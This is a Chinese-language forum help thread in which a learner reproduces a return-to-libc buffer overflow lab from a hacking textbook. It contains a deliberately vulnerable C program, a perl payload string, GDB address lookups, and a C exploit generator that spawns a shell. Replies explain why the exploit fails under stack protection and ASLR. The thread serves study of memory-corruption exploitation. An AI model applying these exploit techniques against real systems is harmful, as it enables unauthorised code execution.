首页
社区
课程
招聘
[求助]return to libc
发表于: 2016-8-5 13:12 3712

[求助]return to libc

2016-8-5 13:12
3712
在Linux环境下,利用system(), exit() 获取shell,具体如下:

1、关闭ASLR

2、漏洞程序:
#include	<string.h>

int	main(int argc, char *argv[])
{
	char	buffer[7];

	strcpy(buffer, argv[1]);

	return 0;
}


3、编译:
gcc -o vuln2 vuln2.c


4、调试
> gdb vuln2
> b main
> p system
> 0xb7e590b0
> p exit
> 0xb7e4cbf0
> q


5、/bin/sh的地址(方法代码在后面)
0xb7f7ac40

6、命令行运行 vuln2
 //vuln2  "A"x19 , system(), exit(), "/bin/sh"
./vuln2 `perl -e 'print "A"x19 ."\xb0\x90\xe5\xb7", "\xf0\xcb\xe4\xb7", "\x40\xac\xf7\xb7"'`

*** stack smashing detected ***: ./vuln2 terminated
======= Backtrace: =========
/lib/i386-linux-gnu/libc.so.6(__fortify_fail+0x45)[0xb7f1e095]
/lib/i386-linux-gnu/libc.so.6(+0x10404a)[0xb7f1e04a]
./vuln2[0x8048480]
/lib/i386-linux-gnu/libc.so.6(exit+0x0)[0xb7e4cbf0]
======= Memory map: ========
08048000-08049000 r-xp 00000000 08:07 2572197    /test/vuln2
08049000-0804a000 r--p 00000000 08:07 2572197    /test/vuln2
0804a000-0804b000 rw-p 00001000 08:07 2572197    /test/vuln2
0804b000-0806c000 rw-p 00000000 00:00 0          [heap]
b7de3000-b7dff000 r-xp 00000000 08:07 500659     /lib/i386-linux-gnu/libgcc_s.so.1
b7dff000-b7e00000 r--p 0001b000 08:07 500659     /lib/i386-linux-gnu/libgcc_s.so.1
b7e00000-b7e01000 rw-p 0001c000 08:07 500659     /lib/i386-linux-gnu/libgcc_s.so.1
b7e19000-b7e1a000 rw-p 00000000 00:00 0 
b7e1a000-b7fbd000 r-xp 00000000 08:07 506231     /lib/i386-linux-gnu/libc-2.15.so
b7fbd000-b7fbf000 r--p 001a3000 08:07 506231     /lib/i386-linux-gnu/libc-2.15.so
b7fbf000-b7fc0000 rw-p 001a5000 08:07 506231     /lib/i386-linux-gnu/libc-2.15.so
b7fc0000-b7fc3000 rw-p 00000000 00:00 0 
b7fda000-b7fdd000 rw-p 00000000 00:00 0 
b7fdd000-b7fde000 r-xp 00000000 00:00 0          [vdso]
b7fde000-b7ffe000 r-xp 00000000 08:07 506237     /lib/i386-linux-gnu/ld-2.15.so
b7ffe000-b7fff000 r--p 0001f000 08:07 506237     /lib/i386-linux-gnu/ld-2.15.so
b7fff000-b8000000 rw-p 00020000 08:07 506237     /lib/i386-linux-gnu/ld-2.15.so
bffdf000-c0000000 rw-p 00000000 00:00 0          [stack]
已放弃 (核心已转储)



7、更改第3步中的编译选项:
gcc -o vuln2 vuln2.c [B][COLOR="Blue"]-fno-stack-protector[/COLOR][/B]


再次运行(成功
./vuln2 `perl -e 'print "A"x19 ."\xb0\x90\xe5\xb7", "\xf0\xcb\xe4\xb7", "\x40\xac\xf7\xb7"'`
$ pwd
/test_dir/
$ exit


问题:
1、本例子是来自《灰帽黑客(第4版)》250页,实验11-5。我之前怎么调试都不行,后来单步调试的时候发现需要加 -fno-stack-protector(老死在这句:call   0x8048340 <__stack_chk_fail@plt>),但是书里的编译选项是没有-fno-stack-protector,是我搞错了还是书里的错?

2、感觉该例子应该是可以规避ASLR的,但是当我开启ASLR,程序就运行失败。但关闭ASLR,程序就能运行成功。为何?

补充:
1、/bin/sh 字符串的地址搜索代码(结果要另加 0x1000)
#include	<stdio.h>
#include	<stdlib.h>
#include	<dlfcn.h>
#include	<signal.h>
#include	<setjmp.h>

int	step;
jmp_buf	env;

void	fault()
{
	if(step<0)
	{
		longjmp(env, 1);
	}
	else
	{
		printf("can't find /bin/sh in libc, use env instead...\n");
	}
}

int	main(int argc, char **argv)
{
	void	*handle;
	int	*sysaddr, *exitaddr;
	long	shell;
	char	examp[512];
	char	*args[3];
	char	*envs[1];
	long	*lp;

	handle	= dlopen(NULL, RTLD_LOCAL);
	
	*(void**)(&sysaddr)	= dlsym(handle, "system");
	sysaddr		+=	4096;
	printf("system() found at %08x\n", sysaddr);

	*(void**)(&exitaddr)	= dlsym(handle, "exit");
	exitaddr	+=	4096;
	printf("exit() found at %08x\n", exitaddr);

	if(setjmp(env))
	{
		step	= 1;
	}
	else
	{
		step	= -1;
	}

	shell	= (int)sysaddr;
	signal(SIGSEGV, fault);

	do
	{
		while(memcmp((void*)shell, "/bin/sh", 8))
		{
			shell	+= step;
		}
	}
	while (!(shell & 0xff) || !(shell & 0xff00) || !(shell & 0xff0000) || !(shell & 0xff000000));

	printf("\"/bin/sh\" found at %08x\n", shell+16384);
}

[培训]科锐逆向工程师培训第53期2025年7月8日开班!

收藏
免费 0
支持
分享
最新回复 (5)
雪    币: 74
活跃值: (25)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
。。。。。。。。。。。。。。。。。。。。。。。。。。。。。
2016-8-5 17:45
0
雪    币: 4
活跃值: (11)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
3
地址都是硬编码,当然开启了ALSR就会出错
应该要动态泄露

但就你这个示例程序来看,似乎确实没法绕过GS
2016-8-7 03:33
0
雪    币: 74
活跃值: (25)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
4
楼上,

谢谢你的提醒(关于地址硬编码的问题)。改进如下:

//exploit3.c

#include	<stdio.h>
#include	<string.h>
#include	<stdlib.h>
#include	<dlfcn.h>
#include	<signal.h>
#include	<setjmp.h>

int	step;
jmp_buf	env;

void	fault()
{
	if(step<0)
	{
		longjmp(env, 1);
	}
	else
	{
		printf("can't find /bin/sh in libc, use env instead...\n");
	}
}

unsigned int l2h_32(unsigned int x)
{
	unsigned char a;
	unsigned char b;
	unsigned char c;
	unsigned char d;

	a	= x & 0xff;
	b	= (x>>8) & 0xff;
	c	= (x>>16)& 0xff;
	d	= (x>>24)& 0xff;

	return((a<<24)|(b<<16)|(c<<8)|d);
}

void i2s_32(unsigned int x, char *res, int res_len)
{
	unsigned char a;
	unsigned char b;
	unsigned char c;
	unsigned char d;

	char temp[5];
	char tmp[3]	= "\\x";

	a	= (x >> 24)& 0xff;
	b	= (x >> 16)& 0xff;
	c	= (x >> 8)& 0xff;
	d	= (x) & 0xff; 

	memset(res, 0, res_len);

	strcat(res, tmp);
	memset(temp, 0, 5);
	//itoa(a, temp, 16);
	sprintf(temp, "%x", a);
	strcat(res, temp);

	strcat(res, tmp);
	memset(temp, 0, 5);
	//itoa(b, temp, 16);
	sprintf(temp, "%x", b);
	strcat(res, temp);

	strcat(res, tmp);
	memset(temp, 0, 5);
	//itoa(c, temp, 16);
	sprintf(temp, "%x", c);
	strcat(res, temp);

	strcat(res, tmp);
	memset(temp, 0, 5);
	//itoa(d, temp, 16);
	sprintf(temp, "%x", d);
	strcat(res, temp);
	
	
}

int	main(int argc, char **argv)
{
	void	*handle;
	int	*sysaddr, *exitaddr;
	long	shell;
	char	examp[512];
	char	*args[3];
	char	*envs[1];
	long	*lp;

	int	step_addr = 4096;
	//int	step_addr = 8192;

	handle	= dlopen(NULL, RTLD_LOCAL);
	
	//*(void**)(&sysaddr)	= dlsym(handle, "system");
	//sysaddr		+=	step_addr;
	sysaddr	= dlsym(handle, "system");
	sysaddr		+=	1024*5;
	printf("system() found at %08x\n", sysaddr);

	//*(void**)(&exitaddr)	= dlsym(handle, "exit");
	//exitaddr	+=	step_addr;
	exitaddr	= dlsym(handle, "exit");
	exitaddr		+=	1024*5;
	printf("exit() found at %08x\n", exitaddr);

	if(setjmp(env))
	{
		step	= 1;
	}
	else
	{
		step	= -1;
	}

	shell	= (int)sysaddr;
	signal(SIGSEGV, fault);

	do
	{
		while(memcmp((void*)shell, "/bin/sh", 8))
		{
			shell	+= step;
		}
	}
	while (!(shell & 0xff) || !(shell & 0xff00) || !(shell & 0xff0000) || !(shell & 0xff000000));

	printf("\"/bin/sh\" found at %08x\n", shell+16384+step_addr);
	//printf("\"/bin/sh\" found at %08x\n", shell+16384);




	char	cmd_1[160]	= "./vuln2 `perl -e 'print \"A\"x19 .\"";
	char	cmd_2[10]	= "\",\"";
	char	cmd_3[10]	= "\"'`";
	
	char	cmd_sys[32];
	char	cmd_exit[32]; 
	char	cmd_sh[32];
	
	i2s_32(l2h_32(sysaddr), cmd_sys, 32);
	i2s_32(l2h_32(exitaddr), cmd_exit, 32);
	i2s_32(l2h_32(shell+16384+step_addr), cmd_sh, 32);
	//i2s_32(l2h_32(shell+16384), cmd_sh, 32);

	strcat(cmd_1, cmd_sys);
	strcat(cmd_1, cmd_2);
	strcat(cmd_1, cmd_exit);
	strcat(cmd_1, cmd_2);
	strcat(cmd_1, cmd_sh);
	strcat(cmd_1, cmd_3);
	
	printf("cmd_1:\n%s\n", cmd_1);

	system(cmd_1);

}


// vuln2.c

int	main(int argc, char *argv[])
{
	char	buffer[7];

	strcpy(buffer, argv[1]);

	return 0;
}


编译:
gcc -o vuln2 vuln2.c -fno-stack-protector
gcc -o exploit3 exploit3.c -ldl


执行:
1、打开ASLR(失败
>sudo sh -c "echo 2 > /proc/sys/kernel/randomize_va_space"
> ./exploit3
system() found at b76530b0
exit() found at b7646bf0
"/bin/sh" found at b7774c40
cmd_1:
./vuln2 `perl -e 'print "A"x19 ."\xb0\x30\x65\xb7","\xf0\x6b\x64\xb7","\x40\x4c\x77\xb7"'`
Segmentation fault (core dumped)


2、关闭ASLR(成功
> sudo sh -c "echo 0 > /proc/sys/kernel/randomize_va_space"
> ./exploit3
system() found at b7e590b0
exit() found at b7e4cbf0
"/bin/sh" found at b7f7ac40
cmd_1:
./vuln2 `perl -e 'print "A"x19 ."\xb0\x90\xe5\xb7","\xf0\xcb\xe4\xb7","\x40\xac\xf7\xb7"'`
$ pwd
/test_dir/
$ exit


问题:
这次的地址不是硬编码了,为何失败?
2016-8-7 18:35
0
雪    币: 74
活跃值: (25)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
5
........................
2016-8-8 20:11
0
雪    币: 4
活跃值: (11)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
6
不好意思这段时间没上,才看到。
我man dlopen,看到这一句,"If filename is NULL, then the returned handle is for the main program", 那么你运行的exploit3, 所以返回的应该是针对exploit3的基地址而不是vuln2, 所以会错,而你关闭了alsr之后,vuln2和exploit3的基地址一样,所以可以。
dlopen和dlsym的结果是没问题的,如果直接调用dlsym返回的指针,也可以获取shell(我实验了),但是我试验你的代码的最后部分,一直是segment fault, 即使关掉了alsr,,不太懂,或许环境不一样吧,我在debian 8做的

2016-10-20 13:37
0
游客
登录 | 注册 方可回帖
返回